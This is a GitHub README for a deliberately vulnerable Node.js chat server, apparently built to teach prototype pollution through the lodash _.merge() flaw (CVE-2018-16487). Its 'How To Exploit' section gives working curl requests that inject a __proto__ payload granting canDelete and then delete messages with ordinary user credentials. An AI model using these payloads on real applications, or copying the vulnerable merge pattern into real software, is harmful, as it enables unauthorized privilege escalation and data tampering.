Skip to content

Latest commit

 

History

History
56 lines (44 loc) · 2.71 KB

README.md

File metadata and controls

56 lines (44 loc) · 2.71 KB

Prototype Pollution in JavaScript

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

If you want to learm more about the vulnerability you are welcome to explore the interactive lesson provided by Snyk.

Example Application

This is example chat server vulnerable to Prototype Pollution.

  • GET / - List all messages (available without authentication).
    curl --request GET --url http://localhost:3000/
  • PUT / - Post a new message (only registered users).
    curl --request PUT \
      --url http://localhost:3000/ \
      --header 'content-type: application/json' \
      --data '{"auth": {"name": "user", "password": "pwd"}, "message": {"text": "Hi!"}}'
  • DELETE / - Delete a message (only administrators).
    curl --request DELETE \
      --url http://localhost:3000/ \
      --header 'content-type: application/json' \
      --data '{"auth": {"name": "admin", "password": "???"}, "messageId": 2}'

An attacker target here is to delete message without administrator credentials.

Run

  • npm install
  • npm start

Vulnerability

The Prototype Pollution vulnerability (CVE-2018-16487) introduced by [email protected] via _.merge() function. More details about the issue you can find on Snyk website.

How To Exploit

  1. Send evil message with __proto__.
    curl --request PUT \
      --url http://localhost:3000/ \
      --header 'content-type: application/json' \
      --data '{"auth": {"name": "user", "password": "pwd"}, "message": { "text": "😈", "__proto__": {"canDelete": true}}}'
  2. Delete any message you want using user's credentials.
    curl --request DELETE \
      --url http://localhost:3000/ \
      --header 'content-type: application/json' \
      --data '{"auth": {"name": "user", "password": "pwd"}, "messageId": 1}'